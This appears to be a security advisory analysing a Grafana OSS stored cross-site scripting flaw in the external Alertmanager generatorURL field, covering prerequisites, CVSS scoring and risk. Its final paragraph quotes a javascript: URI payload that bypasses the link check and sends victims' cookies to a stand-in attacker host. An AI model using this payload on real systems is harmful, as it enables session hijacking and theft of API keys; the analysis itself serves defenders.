Grafana OSS CVE-2026-17033

Exploitation requires the attacker to possess either the Grafana Editor role or the more granular alert.instances.external:write permission - neither is granted to unauthenticated or viewer-level users by default. The vulnerable feature is the external Alertmanager alert submission endpoint, which allows these users to supply a generatorURL field. A second, separate victim user with read access to Grafana alerts must open the Alert Details view for the malicious alert and actively click the 'See source' LinkButton (UI:R). Exploitation is constrained to Grafana deployments where: (1) the external Alertmanager integration is enabled and accessible to Editor-level users, and (2) higher-privileged users (e.g., Admins, users with access to sensitive datasources) interact with the Alert Details UI. Users who never navigate to Alert Details or never click 'See source' links are not affected. The attack does not bypass authentication - the attacker must already hold a valid Editor-level account.

The CVSS 3.1 score of 6.8 (Medium) with vector CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:L/A:L reflects a balanced real-world threat: network-delivered with low complexity, but gated behind PR:L (requires Editor role or alert.instances.external:write) and UI:R (a victim must click the link). The High confidentiality impact captures the most critical consequence - full session hijacking, including access to Grafana API keys and dashboard data visible to the victim. The S:U (Unchanged scope) keeps this from reaching Critical despite the session hijacking potential, since impact is bounded to the Grafana application context. No EPSS score was provided in available intelligence, limiting probabilistic exploitation assessment. No CISA KEV listing exists, indicating no confirmed widespread active exploitation at time of analysis. However, the bypass technique is publicly documented in the CVE description itself, meaning any attacker with Editor access could construct a working payload without additional research - this meaningfully lowers the effective attack complexity beyond what AC:L alone conveys. Risk is most elevated in multi-tenant Grafana deployments where Editor permissions are granted to semi-trusted users (contractors, external teams) alongside higher-privileged Admins or users with access to sensitive data sources.

An attacker holding a Grafana Editor account crafts an external Alertmanager alert payload where generatorURL is set to a javascript: URI that bypasses the :// click-interceptor check - for example, javascript:/*://*/fetch('https://attacker.example/steal?t='+document.cookie) - and submits it via the Grafana API. When a Grafana Admin or other privileged user subsequently views the alert in the Alert Details panel and clicks 'See source', their browser executes the attacker's JavaScript in the Grafana origin, exfiltrating their session token or Grafana API key to the attacker's server. No public POC has been identified at time of analysis, but the bypass technique is explicitly described in the CVE disclosure, making independent weaponization straightforward for any attacker with Editor-level access.